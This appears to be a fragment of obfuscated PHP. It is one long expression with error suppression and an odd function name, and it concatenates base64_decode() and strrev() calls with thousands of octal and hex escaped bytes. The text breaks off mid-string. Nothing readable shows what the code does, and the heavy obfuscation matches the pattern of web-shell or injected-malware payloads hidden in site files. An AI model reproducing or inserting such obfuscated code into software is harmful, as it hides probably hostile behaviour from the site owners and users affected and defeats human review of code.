@(-_p9+U').base64_decode('9/t9gURzvJmd4817b968efPi5nt/f9btaw5c88U1X3hvw4v3PfQ7Gkb/fRn9kvDx5x1yAA==')."\371\363\365\363\66\324\324\264\315\70\164\162\364\360\315\167\154\323\156\321\266\151\33\142\221\307\237\10\37\361\324\55\247\204\306\156\170\174\144\354\13\7\334\273\367\327\305\106\4\114\313\66"."\xd2\x1f\x25\x6f\xda\x8a\x3e\x6c\x58\xb6\x45\x13\x52\x66\xbe\xcf\xe8\xa7\x61\x23\x4f\x7f\xfd\xf4\xa7\x33\x1e\x29\xea\x39\xd3\xd6\x69\xd4\x47\x7f\x54\x68\x17\xf9\xd7\x5a\x99\x35\x58\xbe\x1a\x8d\x25\xd5\x44\x67".strrev('rje":j"z0Z\\j_ZT!g?9F(GG')."\x59\x47\x8\x20\x7a\xd5\x95\x25\xbd\x38\x42\x63\x24\x98\xb0\xb5\xa2\x9d\x34\x72\x3a\x87\x18\x2a\xf2\x76\x35\x87\x16\x84\xa3\x4a\x32\x1e\x88\x26\x2\xc1\x64\x38\x16\xa5\xc9\xc1\x58\x7b\x7b\x38\x59\x9e\x1e\x8f"."\105\42\315\201\340\302\362\234\216\170\140\101\173\100\101\355\313\352\252\221\357\63\153\224\345\64\147\271\122\113\3\255\206\236\115\323\140\136\143\315\261\107\12\20\112\362\20\232\246\174\51\233".base64_decode('pZEoD6X1Pq2UhdFqkSOFopHTWKcX6iM8lQa0km0a+RSNhIbtoibSUVtTaKL1PFSVCEVCwQ==')."\xa4\x82\x1b\xa8\xb4\xc6\x63\xed\xa\x4c\x42\x4e\xb3\x6c\xbd\xa8\x2c\x69\xb\xc5\x43\xa\x6e\x74\x53\x35\xe9\x6b\xb5\x2\xf8\x12\x45\x43\xa1\x4\x22\x11\x65\xbc\x1a\x6c\x3d\x57\x60\xd5\xd0\x32\x15\x2a\x8b\xc5"."\x5b\x42\x71\xa5\x79\x99\x22\x46\x28\x65\xe6\x72\x66\xde\x87\x6a\x41\x33\x69\x4b\x4d\xd\xc5\xe3\x34\xe0\x1\xf4\x8e\x84\xf1\xa4\x41\x24\xd6\xda\x9a\x8\xf1\x18\x74\x6e\x51\x4\xb5\x64\x2a\xe0\xa7\x23\x96\xee"."\313\332\352\240\226\55\61\64\35\240\277\325\360\3\277\246\5\250\273\322\310\33\45\100\123\250\302\64\371\262\202\100\211\101\353\54\105\117\103\40\207\312\233\120\256\27\322\172\31\324\12\26".base64_decode('MNAKHaTBpnn0dw6U71Vxnl60VT2fMtNGHtbxfMBHzc60FA0EQON9ZjbNwpaxCnrZZ2T1aA==')."\51\47\203\360\150\52\143\144\323\105\266\364\76\13\222\106\43\174\45\143\130\21\53\240\226\160\42\140\364\215\210\245\210\341\72\170\256\145\226\212\51\75\214\226\16\215\67\100\262\156\333\250"."\163\154\100\314\316\102\326\324\322\11\275\310\273\146\230\255\250\242\130\311\226\23\113\4\254\325\54\346\132\20\321\200\357\243\5\143\164\126\310\30\140\113\46\55\215\230\277\246\353\164\357\47"."\75\135\47\243\177\152\201\52\166\103\233\62\172\66\253\352\303\72\254\251\134\172\272\305\6\303\157\365\32\171\77\112\241\321\160\114\315\150\126\246\75\75\135\45\245\30\261\115\353\303\276\102"."\xa6\x0\xb\x9e\xaf\xf1\x6e\x7\xce\xe3\xa1\x8b\x9a\x76\x48\x22\xd9\x59\x33\xa5\x65\xe5\x2e\xd2\x70\xc6\xb6\xb\x9\x3d\x9f\xc6\x23\x1\x5d\x31\x87\xf2\x64\xa4\xa\xba\xe\x40\x2d\x1e\x25\xad\xb4\x2b\xcb\x94"."\266\106\243\321\142\5\163\131\36\142\275\343\151\26\117\264\207\331\164\246\373\0\133\31\307\250\202\17\32\26\41\176\142\345\152\205\102\326\110\151\266\141\346\375\146\312\326\155\257\145\27\165".base64_decode('DWoMpFK6ZXmDZt4umllvIJs1h7yxotFv5BuVOqDDKBOtdy+mjY2wiKvmKBhx8Gfqmkp2nw==').base64_decode('dxZbnBy6qOWtPr3oDcHKaFRQYzmBZGAthlUwLQM3r1HRbFtLZTBxEdU3fQa8kc8aeb0cFg==')."\125\242\173\73\212\132\177\116\153\124\12\245\136\64\0\260\40\41\55\205\41\144\140\30\200\106\45\247\15\173\265\176\126\123\150\270\140\24\165\213\365\132\131\320\236\4\214\352\363\266\343\205".base64_decode('ZOhpbwJRb6hsav00BeGKwvJoalsy2aGGWxF7jobU9kAy2Aa121o/qzqCaDKvkiUu9aIFhQ==')."\261\51\212\72\47\22\73\314\41\275\210\76\334\74\322\250\14\230\351\136\163\330\307\262\60\160\2\121\26\6\214\347\267\140\173\343\132\276\37\167\243\167\304\326\55\67\155\152\106\314\334\327".base64_decode('R1evr1fvM4vQG2uw3zn4ET3fb2dY3YlQfHEoriZircklgTjw/jzCnGHWGvz1rDeup9Egpg==')."\154\126\116\53\210\321\137\352\305\13\6\177\234\345\342\105\304\362\42\341\5\170\354\132\274\26\2\362\312\120\254\356\210\221\63\160\367\154\236\103\6\33\11\6\13\240\101\176\322\347\246\156"."\xab\xae\xa6\x3b\x3d\xb9\xd6\x8b\xfe\xad\xab\xed\xea\x6e\xf1\xd5\xf5\xcc\xf7\x1b\xa2\x8c\xbf\xc1\xd7\xa0\x4c\xa9\x9f\xa1\x74\x20\x49\xc5\xd0\xb2\xa\x74\xba\xc\xa2\x5e\x89\x2d\x74\xe\x8b\xc0\xf0\xbc\x99\xd7".base64_decode('Ky4shEimpXvbdA0RaTQRjnnxsG/R+GeMLuaVEi1xzQtNjIcWdYYSSbU9lGyLtUDzQwEI5Q==')."\x51\x61\xd2\x5e\x36\xc7\x58\x30\x3\xb6\x98\x87\x6a\xf5\x61\x89\x87\x8\x5e\x90\x92\x7\x84\x94\x8b\x9a\x43\x8c\xfa\xbb\x10\x28\x98\xd1\x53\x3\xe3\xe4\xa1\x10\xf4\xc6\xa4\x74\x89\x4d\x5d\x17\xfd\xe9\x1\x6c"."\xee\xa1\x3f\xaa\x61\xb5\x4a\x7c\x13\x47\x39\x7d\x55\xcd\xde\x15\x8\xb3\xda\x75\xc6\x44\xe0\x4b\xe1\x1c\x5a\xc3\xa2\xe5\xaa\x93\xc9\xb1\x6e\xb5\xb\x4c\x47\x4b\x66\x89\x91\xe6\x5c\x10\x45\xdb\x74\xa3\x3f\x3"."\xd\x35\x70\x75\x29\x33\x6b\x16\xb5\x2c\xa6\xfd\x4c\x70\xed\x37\x80\xc\x17\xb2\x25\x84\xf7\x7e\x5c\x71\x32\x53\xca\xf5\x2\xa7\x42\x63\xd4\xaf\xdb\x42\xa6\xb4\x46\x90\xe0\x95\x63\x1c\x19\xb1\x75\x3b\xdc\xe2".strrev('sH*HsfFn2w!iN=ze:P|}W')."\xe\xe6\x71\x4d\x6e\xba\x80\xa7\x27\xeb\xcb\xa1\x4a\x48\x9d\x41\x93\x73\x65\xba\x7d\x99\xe3\xe4\x71\x8a\x5e\x2c\x9a\xc5\x89\x0\x41\xc2\xa\x61\x94\x78\xba\xa0\x72\x9b\x8b\x1d\x16\x22\x1\x2c\x9c\x31\xb9\x98"._kodDe('MR9PWVEw4RSsVjqf8jN+h8+fvBG++43WV5JhMVGNVyJvPPnzNvCAdunVlq5swOE7UxlQHYE=')."\77\75\115\271\237\43\211\56\133\232\124\307\352\55\332\46\316\54\72\40\21\46\146\114\150\31\232\172\350\125\211\167\217\165\64\255\147\165\206\105\31\235\11\20\365\0\206\206\237\343\130\37".base64_decode('R3a0RUCpQnIzrDgqidk9iy/BeyqRgGUeQB4RzKKpi5FVI+IdRb3PGGYEYthu14oDrGOopA==')."\130\157\70\42\255\305\326\316\110\104\15\306\242\111\264\45\243\51\113\342\341\144\210\321\241\100\213\32\10\166\100\114\120\66\56\226\311\202\5\115\31\234\2\170\202\32\341\27\22\20\142\301"."\5\63\217\350\47\220\40\257\330\260\225\145\245\205\200\0\10\42\204\12\227\234\200\70\175\156\225\67\207\210\207\227\267\311\51\236\51\300\356\251\224\27\206\151\112\363\311\301\203\207\26\62"."\223\13\73\142\11\50\60\37\247\42\331\274\227\257\267\216\116\310\312\111\50\262\40\4\211\207\2\126\145\64\220\270\3\113\22\214\205\227\20\174\321\130\245\211\56\315\147\355\141\35\311\145".base64_decode('hajv7JVXzHzJ8upYyhBfmOZtaw8EvYm2wJTpM2jqsly6O9lmWN2n8jgM45A1TS3qiOCwDw==').base64_decode('TalvYOQASUlS85Z5c15cCx5BX319Patr8gwlg+gc5yZpMkts31VKDbAFo6WY6Iu5jOUdMg==')."\30\145\76\221\357\22\116\54\307\236\23\235\374\20\252\50\21\116\254\152\51\374\61\25\325\150\227\54\171\244\320\262\112\243\102\6\223\350\151\252\226\355\107\203\156\147\162\162\242\230\170\32".base64_decode('16l4yOeOjyIeWyeOy00qmEgghW4srdiGpZXasNTVhqXlbaBJltGfR71kzA2mYwGeDmlaHQ==')."\323\74\254\242\202\52\254\41\125\356\12\14\22\164\103\316\151\343\324\214\165\262\275\145\72\153\107\240\375\124\157\113\200\321\202\271\363\21\212\52\203\130\323\144\346\233\252\33\174\365\325\12"."\333\61\67\125\167\46\133\321\376\141\376\274\103\347\6\315\134\1\23\306\166\274\111\304\113\210\156\24\347\301\362\230\213\145\63\26\351\340\53\214\306\103\111\15\230\343\134\277\14\67\327\77"."\136\255\200\154\71\155\225\231\107\350\215\230\146\316\227\2\34\306\142\50\347\101\70\142\361\130\262\55\34\135\250\266\307\132\102\21\65\34\105\162\132\262\74\275\263\103\164\136\116\157\216\45".base64_decode('2xypnUhSWxyIhN3goaXhRDJRMQuldYZcOS3Nakc81BpeyqOt4VCkJaEGA8E2ARMNtEMEiQ==')."\x44\x7a\x36\x6d\xf9\x9d\xf0\x2a\x12\x39\x13\x5c\x9d\xa6\xc2\x84\x41\xcc\xa1\xc1\x52\x99\x6e\x46\x15\xb4\x18\x6d\x5f\x74\x40\x60\xe8\x2e\x56\x48\x92\x9e\xa8\x6c\xd1\x97\xb8\x0\xc9\xf6\xea\x39\xc6\x6c\xd1\xd6"."\xb\x66\x84\xed\x3b\x6a\xe8\x4f\xad\x12\x48\x28\x76\x41\xe5\x6c\xb5\x77\x84\x7\x49\x37\x58\x1c\x9\x1b\xf0\x7d\x5\xc4\xdf\xb2\x16\xa8\x18\xa6\x59\xda\xe4\x54\x4e\x8\xf4\xd9\x5c\xe0\x74\xc5\x11\x13\x11\x79".strrev('Tka(`PcėTuQքsXh,@|́0Dh')."\xe0\xec\x5a\xd6\xd0\x98\xe\x4b\xc\xfa\xa\x93\xd\xe5\x49\x40\x53\xd\x2e\xd2\xe7\xd9\x70\xf7\x62\xe9\x86\xc9\xb5\x2c\xd0\x87\xd6\x3\x93\x4c\xcc\x12\xff\x4c\xaf\x69\x66\x19\xa3\xcb\x31\xc1\xa\x11\x1b\xae".base64_decode('81xhMewYZrx6MucJgLOxhaGoylCKxiQ0pAmheDwWh5GwzQGm76KZ8VCCsUnMfww2Tn7fZA==')."\x40\x5f\x1d\x9\x71\xf0\x79\xff\x69\xdd\x43\x93\x6b\xba\xbc\x93\x7d\x3d\x28\x50\x5b\x77\x32\x8d\x42\xac\xdb\xe7\x88\x32\xd9\xba\x54\xe4\xa5\xf1\x52\xaf\xb1\xe6\xd7\x36\x76\xfb\xbb\xfd\x35\xf3\x1b\xbb\x2\xde".strrev('Bw۱}\\\'yo')."\66\337\376\373\53\316\37\362\76\264\245\353\273\263\346\244\175\333\123\351\266\376\11\361\27\112\47\14\77\146\317\74\340\254\122\44\253\234\71\363\315\47\2\307\36\173\224\367\256\365\236\375".base64_decode('t1x45dZcuO4LN/xs6bKf1L/U2ZudOWQd9bfDvvvIHzZfNPmQL1Y9ub7/8LNuNWZfdOLoAw==')."\xcf\x6f\x5c\xe6\x5b\xba\xf9\xf2\xb6\x67\x2f\x9e\xb5\xe1\xb7\x5f\xbd\x6c\xc2\xdd\x3\x77\x2e\xfc\xa6\xd9\xd8\x57\xdd\x16\x35\x4f\xbd\xe9\xb8\xdf\x1c\xf9\x9d\x59\x4f\x3c\xda\xf9\xf8\x97\x82\x17\x3f\xb0\xf2\xaf".strrev('8]v?oL9n-ꎣ=wYߣqc').base64_decode('OvSnl9x21sZJW/ac+9LQ6Uemzu+umvFKbctX5330wJmv9D55buSG1GN3tDbXt908uvHDqg==')."\277\265\377\365\206\63\177\265\306\363\265\356\336\363\252\27\236\361\215\252\125\353\252\277\326\362\325\137\57\272\243\336\367\237\372\310\351\227\134\166\370\145\17\356\370\346\171\257\214\316\76\344"."\x3b\x2f\x1d\x97\x3a\x78\xcf\xc8\x3f\x1b\x26\xed\xdc\xf5\xcc\xd7\xba\xaa\x52\xbd\xd\x87\x14\x4b\xdd\x4f\xd4\x4f\x78\xec\x10\x6d\xfd\x91\xe7\x9d\xf3\xa7\xe7\xbf\xb2\x53\xdb\xfd\x67\x33\x79\x47\x74\xe4\xd6\xc9"."\xe7\xaf\x7f\x38\x75\xcc\xcd\xb3\x6f\x3c\x77\xe4\xc0\x9d\xc5\xf5\x7b\xe\xbb\xf7\xad\x43\x27\x7e\xf1\x6b\x89\xb6\xa3\x8f\x78\xe4\xe0\xc3\x83\xfa\x11\x8f\xe\xad\x78\xbd\xb0\xfc\xe6\xef\x3c\x39\xe1\x5b\xfa\xd1"."\x9b\xe\xad\xbf\xf4\xe7\x7\x6f\xda\xba\x38\x3f\xe3\xc5\xc7\x4e\xbd\xe1\x49\xe3\xb1\x9d\xb9\x6d\x7f\xcc\x1f\xb5\xf5\xb0\x63\xbe\xf8\xd4\xfe\x2b\xaa\x4e\xba\xfd\x4e\x7f\xe8\x37\xad\x6b\x1a\x7e\xff\xe5\xc4\x49"."\367\327\374\352\224\13\326\335\62\273\156\347\207\53\46\156\261\327\175\375\244\266\123\236\76\356\303\356\206\343\236\177\160\327\53\227\255\37\355\157\36\171\145\133\362\252\237\277\34\367\175\373"."\xd5\xbb\xcf\xbc\x3b\x97\xaa\xde\x96\x1a\x7a\x70\xd5\xe6\x86\xf6\x13\x1e\xdd\x3f\xfc\xca\xb9\x8b\xd6\xe\xa4\xcf\x9b\xf2\xfe\xaf\xd7\xa9\x2f\x64\x6a\xfe\x79\xc9\xa4\x63\x16\x1e\xbd\xff\x8f\x39\xfb\xad\xc3\x2f"."\374\307\43\323\177\236\312\76\164\335\273\75\277\310\6\17\175\357\225\252\3\156\177\377\273\236\105\223\272\226\15\356\131\175\363\252\373\116\75\175\337\261\255\257\155\72\154\346\151\163\347\35"."\222\74\351\260\163\274\227\277\127\372\103\335\41\352\202\103\46\154\315\237\334\134\77\262\360\73\377\354\72\73\362\355\374\217\17\273\162\332\177\66\275\172\135\266\361\306\305\347\177\160\363\232"."\75\57\157\137\261\140\347\151\352\277\365\3\257\330\362\253\217\6\17\76\343\374\347\176\376\207\201\373\116\215\265\325\37\164\376\11\126\372\206\77\34\177\353\226\147\353\166\217\56\376\371\163"."\x1b\x83\x1b\x36\x4f\xbf\x60\xe9\x4d\x1b\xb2\x67\x96\xd6\x1d\xf9\xc0\x81\x75\xf\xdf\xf7\xe5\x27\x56\xff\x6b\xaf\xd5\xf8\xcb\x3d\x1d\xfa\x6b\x6f\x6d\x5b\xfb\xa5\xe4\xa6\x8b\xde\x3a\xb1\xdb\x73\xf4\x96\x9a\x2b"."\x7\x2e\xf8\x60\xe8\x91\x91\xee\xf6\x97\x76\x6e\xff\xf2\xfb\x7f\x1e\x3d\xa2\x7d\xea\xae\xcc\x93\x57\x1e\xb2\x67\xfa\x73\xde\x75\xbb\x1b\x8e\x6b\x5c\x7a\x52\xdb\x9\x4f\xfb\x7e\xf3\xcd\x27\xae\xbc\xeb\x83\x8f"."\137\232\163\317\5\117\177\143\306\37\377\70\43\277\375\57\33\213\7\235\330\71\170\366\337\232\36\336\377\352\222\247\175\237\174\360\316\317\227\374\340\276\125\377\363\356\333\117\307\356\137\373"."\311\253\177\373\367\337\337\337\176\332\17\112\237\274\175\374\276\343\367\354\372\340\15\377\245\176\265\347\223\117\276\271\160\315\57\177\260\371\203\7\217\377\170\270\55\377\351\211\371\371\336\267"."\xb3\xcd\x8f\x1c\xf8\xea\x81\xf3\x7e\x7b\xe4\x8f\xf\xdf\x77\xd1\xa9\x7\x6c\x4c\x6f\x7d\xe6\x8c\x97\x12\xc7\x4c\x7b\xe1\xb\x7\xfd\xa4\xfd\x81\x73\xae\x1b\x78\x72\x56\xcb\xc9\xd7\x1e\xf8\x4c\xd7\x61\x47\xdd"."\334\372\136\327\75\127\357\324\123\221\133\246\136\226\171\342\222\3\37\317\104\277\230\50\134\77\353\202\256\277\276\331\261\365\250\113\336\76\172\303\77\217\33\173\167\321\337\376\262\163\323\143"."\xdf\xbe\xeb\xb9\x9d\x17\x66\x46\x9f\x5c\x33\xf1\xfd\xe1\x5c\x6a\xed\xf\x76\xbc\xb4\x63\x6b\xe4\xb5\x13\x97\x9d\x36\xed\xe9\xf7\xee\xb8\xed\xf0\x85\xe7\x5f\xf8\x6e\x71\xfa\xc6\xf5\xd7\xf4\x6e\xbc\xf7\x94\x9b"."\xea\xaa\xdb\x7e\xf0\xf0\xb7\xd7\x3d\x33\xed\x8b\x7b\x6f\xbe\xf8\x99\xaa\x4b\x2e\xec\xfc\xe1\xce\xa7\x5f\x9f\x38\xf5\x6\xff\x8a\xb\xbe\x72\xf4\xe9\xd7\x4d\xd5\xe6\xdc\xf0\xa3\x87\x47\x1e\x1a\x3c\xf1\xc9\x9f".strrev('wyWu{+9sn$uc~x]_scd^4l').base64_decode('vTE5q78b+sM137t6y8iM35kfPnR59J+XDhz194fuix/61NPnf/T9u3579b67Xlzd3/Xl1Q==').base64_decode('s7xHXvGPU+66ZmLJvuz6x97/Re3qxitjq+fsPH3sub91Hpj43Zzj+s0h68b+35526cuJNQ==')."\375\251\265\333\222\333\316\353\215\335\134\137\267\360\265\324\13\77\276\365\353\77\332\360\253\153\356\136\363\313\77\115\372\315\207\217\46\237\131\376\361\376\203\36\237\370\304\42\345\246\77\336"."\x15\x7b\xa0\xf6\x4d\xbb\xf7\xee\xe4\xe2\xfc\x82\xa3\x8e\x79\xee\xe5\x6f\xfc\x3b\xfe\x9d\xf7\xbf\xf7\xe9\x21\xe1\xf5\xe7\xb4\xbd\xf9\x6a\x63\xef\x25\xea\xa9\xa9\xbd\x8b\x4e\xae\xd3\xbf\xf0\xc2\x71\xab\xaf\xdc".strrev('>ۆާ{_{]/=|zl>O1?[')."\x5b\x53\xa7\xcf\x3c\xe3\xb9\x3f\x17\x7f\xb3\x67\xe3\xca\x33\x4a\x57\x3e\xbb\xb1\xb7\x3f\xbd\xee\xce\x48\x6a\xe9\xbf\x7e\xb1\x64\x83\xef\x98\x7f\xbf\xf9\xc2\xd1\xf7\xe\x3d\xbc\x68\xfb\x1f\x67\xb4\x4f\x3a\xee"."\xc8\xc7\x72\x7\x2f\x7b\x2a\xfe\xc1\xa3\x9f\xfe\xfc\x82\x1f\x4f\xfa\xe8\xe2\xfa\x3f\x7d\xb8\xf3\xce\x27\x1e\xda\x78\xfd\x2b\x67\x5f\xf0\xcc\xb1\xb3\xff\xf6\xd6\xfd\x1f\x3e\x71\xb6\xf5\x42\xe3\x83\x77\x9f\x77"."\xec\xd\xfb\xa7\xfd\x2e\x50\x37\x55\x59\x3f\xed\xab\xad\xf\x7c\x21\xf3\xca\xb2\xd3\xae\xb8\x2f\x7a\xf5\xf0\xe1\x67\x6e\xbb\x62\xfb\xb7\x1e\xed\x98\x31\xf1\xdf\x97\x1f\x66\x5d\x9e\x7d\xb0\x66\xff\x95\x8b\x92"."\x8b\xf\x38\xac\xf0\x8a\xba\xec\x96\x77\xa6\xb4\xa5\x9f\xda\x38\xba\x74\xe1\xce\xae\x47\x9f\x2b\xfc\xe2\x67\x2f\xaf\xbc\xe9\x82\x17\x6\x9e\xf8\xde\x1b\xe9\xa7\xee\xb9\xe3\xdd\x67\xde\x9f\xf3\xc1\xfe\xcc\xea"."\167\225\327\362\353\357\335\131\272\343\256\45\377\214\74\173\313\231\73\117\335\75\257\264\363\255\137\246\277\221\377\323\137\246\374\163\316\234\261\217\43\353\232\132\276\277\347\326\335\352\266\113"."\x37\xfc\xfd\xdb\x9b\x8f\x3f\xef\x47\x77\x1e\xb8\xea\xe9\xe0\x6f\xe\xde\x7a\xf7\x33\xdd\x87\xfc\xfa\xd0\x89\xcf\x69\x5b\xf5\xbf\xbe\x63\x76\xd5\xfd\xea\xfe\xef\x7e\xf2\xc2\x13\x27\xde\x7a\xed\x25\xef\x5c\xd3".base64_decode('fcw7369afk/x0v3rdv/o0/1jnbd/9cz1H2w4pxD9S/Unr//2L/E5e5eFJm3Y6z33ybozwg==')."\107\237\335\124\252\372\352\157\176\126\374\317\307\377\372\346\323\173\356\371\340\37\373\226\250\237\274\375\361\15\73\236\376\364\235\53\337\331\74\377\356\217\77\170\341\221\343\77\371\317\77\316"."\213\75\175\355\332\343\216\176\353\347\67\76\355\377\364\337\355\157\176\364\344\265\76\365\276\173\77\176\367\241\167\324\117\377\371\361\105\233\175\367\177\362\342\37\276\171\355\377\274\377\362\265"."\xef\xdc\xee\xfb\xd9\x7f\x3e\xba\xe5\xea\xd7\x3\xcb\x3d\x4b\xef\xdf\xf7\xec\x75\xbd\x2f\xed\x5a\xfd\x5a\x6e\xcf\x7b\xef\x7d\xf4\xcb\xb1\x17\x2f\x59\xb1\x6d\xcf\x2f\x5e\x7c\xfe\x45\xf3\x7b\x77\xfc\xe9\xea\xfc"."\x8e\xf9\xb3\xe6\x36\xee\xf9\xf4\xaf\x13\x8f\xfd\xdb\x41\xd3\x16\xa4\xfe\x9e\x5e\x9f\x3d\x78\x77\xe2\xd5\x45\x9f\xda\x33\xd4\xab\xf4\xdb\xef\x5e\xa3\xbd\xf3\xd4\xe2\xdb\x2e\xbe\xe7\xa3\xe0\xf5\x37\xbf\x79\x49"."\333\203\37\117\75\375\231\157\14\157\75\376\314\267\132\246\56\273\65\163\347\6\377\304\137\77\163\341\155\53\257\273\350\254\47\326\75\163\156\335\235\137\70\343\255\117\17\10\264\136\366\321"."\xdb\x47\xb3\xcb\x6c\xa5\x15\xc3\x83\x45\x76\x40\xa\x4a\xb1\x29\x33\x20\x90\xb3\x46\xf0\x8d\x3\x10\x5b\xd3\xfd\x23\xab\xa\x70\x5a\x8\x46\x51\x66\x5f\x61\x55\xef\x8\x28\x89\x40\xb6\x9a\x35\xd\x4e\x65\xb"."\x3\xc6\x60\x66\x15\x28\xd3\xe0\x56\x4f\xd6\x4a\xad\xcc\x8c\xc0\xd6\x70\xfa\x6c\xb0\x93\xcc\x17\x32\xe9\x5c\x2f\x68\xce\x34\x7d\x85\xd9\x9f\x3\x31\x78\x1a\x54\x3a\x7b\x26\x34\xd\xbe\xd1\x0\x2d\x9c\x51\xf"."\125\114\233\65\33\122\146\102\326\110\272\77\237\113\301\336\252\144\344\127\146\355\125\64\62\234\263\206\112\46\64\142\132\75\53\10\277\205\322\300\140\337\12\70\261\236\71\35\32\136\310\255".base64_decode('sFMWlJkxHWBnzoIG5YZXpPK9bNOSGkkPsoPwWdOhC9NnwLjMnAqdmdkA1awYGMoV06AznQ==').base64_decode('NnMWG0iAyxQGS/Yw9GSov5jJrYQvTZkFlc+cBr1uYN2f3gBNG1yVK6Y06I9m2mm9BJutWQ==')."\xb3\xe0\x4b\xa9\x74\xdf\xd0\x8a\x11\x38\x53\x2c\x66\x53\xd8\xc6\x1d\x5a\xa6\x65\xac\x81\x5e\x6e\x24\x62\xf4\x16\xd8\x2d\x9d\x59\x33\xa6\x30\xc\xca\xa6\x7\xfb\x33\xac\x41\x50\x65\x66\x45\xef\x60\x61\x25\xec".base64_decode('+mY0sOnPD6f6BqEnM6bB3I1kC0axD2T3aYBaU6dATdkhzdRXAN4NI8BVI9AE1merf6i0Kg==').base64_decode('N8xQg7WgMLzK6F/BxhyGupQf1IbY3ZUZfG4YPmX7MiV+vWzq9GlsdAFuymyGd1OnsmYy8w==')."\xba\x42\x7a\xc4\xce\xc1\x30\x34\x4c\x85\xae\xd\x58\xf9\x95\xf6\x8a\x3e\xd6\x35\x98\xd0\x74\xbf\x66\xe\xac\xe0\x83\x33\x9b\x15\x62\x23\x9a\x1d\x48\xe5\x4c\x68\xf9\x60\x36\xaf\xf7\x69\xb0\xc4\x86\xec\xcc\x60"."\52\315\56\212\331\203\346\110\201\331\37\30\205\201\64\123\374\114\235\305\126\305\314\172\326\360\31\14\35\353\331\4\245\363\72\263\75\232\301\360\170\366\314\231\154\241\226\314\225\166\77\103"."\224\151\254\7\254\255\365\154\232\130\237\146\314\204\254\351\63\141\260\262\45\324\44\166\270\61\240\367\26\215\54\164\43\333\153\254\54\61\3\264\351\314\372\164\372\154\230\271\222\65\220\311"."\xb1\xcd\xeb\xb4\x6\xf8\xd2\xe0\x48\xff\x40\xc1\x80\x1\x1e\xb4\x57\xac\x32\x8a\x30\xe5\xc3\x2b\xfa\x86\x56\x96\x60\x6d\x4e\x81\xf6\xac\x4c\x67\x35\x9b\xd\xe2\xca\xc1\xa1\x94\xbd\x8a\x9d\xb8\x98\xc3\x5a\x31".base64_decode('D4M42LtS7x8BjMyO9Ot9Btum2/3ZEQNyhkeKJS0LSNiXtrXcABCToYylc6uWGYAVlpkbKA==').strrev('7<'."\n".'\'\'ɸ]͕ڷ0E0'."\r".'KY'."\r".'7"Ǡlye')."\151\203\146\313\151\3\272\316\14\347\141\331\333\302\20\3\54\155\41\335\310\351\102\271\115\217\20\130\111\261\133\307\252\22\311\224\3\107\23\162\55\251\274\55\145\243\230\43\67\41\333\366".base64_decode('Q+9wC31yr5flGKJUOIoEha5lDZlFGLEBM53KmqW0o9Z0r6/CSNKeVMrpc6dzgx9VEwb9OA==')."\44\324\256\64\7\137\336\12\113\327\75\325\176\335\146\166\271\120\127\163\40\21\16\252\35\1\146\111\252\25\12\176\53\75\140\371\261\271\207\61\250\107\214\136\77\276\376\210\57\152\373\370"."\5\301\24\276\221\243\152\275\146\321\146\172\274\22\276\76\67\340\356\250\303\266\236\245\71\146\263\227\140\32\267\172\302\177\140\74\351\45\143\13\133\211\363\73\161\24\332\307\20\246\127\102"."\123\172\146\140\153\326\200\117\116\366\312\271\106\36\215\143\66\353\163\136\73\307\367\277\73\73\324\144\40\261\120\262\46\304\367\223\31\116\253\142\234\245\176\10\144\222\146\126\306\51\147\237"."\31\316\356\337\261\173\164\363\326\261\113\156\35\333\264\175\364\236\213\366\157\277\165\364\276\113\120\164\357\256\363\107\267\137\363\372\345\147\355\335\265\151\357\256\165\373\317\271\343\137\367\156"."\34\335\274\143\377\31\367\215\136\165\323\350\217\317\331\273\373\276\375\367\237\263\357\246\363\366\356\332\66\166\325\271\243\147\335\271\167\367\326\321\37\136\67\172\316\346\261\213\66\355\275\357"."\52\4\77\366\103\121\63\2\33\335\166\31\56\173\357\372\321\135\273\366\137\177\23\317\375\327\275\247\323\306\254\2\142\266\100\267\225\304\242\10\63\21\43\13\105\231\247\300\22\321\55\237"."\322\221\105\244\132\127\310\324\143\173\62\73\243\27\25\233\330\225\151\350\157\336\314\173\351\22\240\127\346\55\305\310\343\154\205\215\265\217\57\223\244\236\53\140\144\207\121\362\323\273\263\216"."\33\32\322\212\250\64\314\64\243\2\36\341\261\26\163\125\203\203\160\122\210\365\221\112\237\206\22\322\215\112\37\52\246\260\33\142\212\155\262\160\156\204\117\272\153\131\126\234\126\336\14\66".base64_decode('tf38WEBoq6Fh0tUbehRUhlJknTuJlIMCOMmbnOUcCVAnE6sGj0Kb4lHIWbbivCiOrRQYcw==').base64_decode('lNeM3PyiXsjyQy2ska04iK4uJCoMF++EIxOtx5JdAVAeVVlNbZjBLCKx4pCV2BOI5tKoUA==').base64_decode('j6MPcQpd1NMGM3TWcwQSiJdPOpyit6m4tXUKoX3Rce42d34hU8BeN+w588Hsn12rk9oAYQ==')."\161\73\114\116\315\272\317\362\370\42\151\151\226\174\137\140\260\106\257\327\53\351\234\205\265\33\16\101\165\342\110\33\245\205\360\12\36\57\275\205\133\172\240\245\335\337\257\133\166\43\271\144"."\xab\x4c\x56\x50\x43\x67\xf9\x1a\x50\x80\x2c\x82\xe9\xbe\x99\x28\x48\x46\xc\x16\x6e\x37\x8c\x62\xc9\x62\x57\x9e\x26\xf9\xa6\x81\x54\x69\xcd\x1\x33\x95\x39\x84\x7e\x34\x49\xcd\x87\x74\x51\xa\x31\xa\x96\x8a".strrev(''."\0".'wm'."\0".'i~Ehx-sBYtn^$')."\136\304\44\323\26\261\225\5\256\1\125\132\222\117\202\270\300\50\134\234\14\327\147\24\265\345\51\57\40\106\234\347\106\262\126\126\143\147\242\26\276\274\223\327\71\376\225\54\176\154\203\15"."\312\125\44\121\130\2\127\325\64\23\26\43\341\146\265\45\14\146\224\201\216\260\232\110\304\44\316\116\356\62\57\125\27\306\132\324\140\54\266\60\14\70\326\50\321\74\174\167\122\34\161\343"."\230\270\103\211\217\205\144\143\66\131\314\301\156\71\60\343\114\50\140\364\211\260\70\330\26\210\163\123\373\351\276\172\137\203\200\105\37\124\361\125\203\46\166\317\77\221\14\304\53\70\147\241".base64_decode('TltgqMFRCxRoiy1RgrFIZ3s0QX2S0PRoTMonBtWQzVy3lGdD9aGOSCAYUsLRZIxdleA2rQ==')."\xe4\x92\x4c\x82\xc7\xd9\x10\x14\x2d\x9d\xbb\x66\x81\xf2\x34\x22\x5f\xe4\x91\x6b\xe4\x35\x1\x72\x76\x79\xaa\xbb\xab\xba\xeb\xba\x6b\xba\x6b\x97\xfb\xba\xad\x1e\xbf\xc4\x85\xc\x79\x7a\x20\xd2\xd1\x2\xdd\x6b"."\xe4\xa1\xb4\x5\xcb\xb2\x3d\x81\xd8\x37\xd\xc6\xe2\x81\x60\x84\x35\x5\x9\x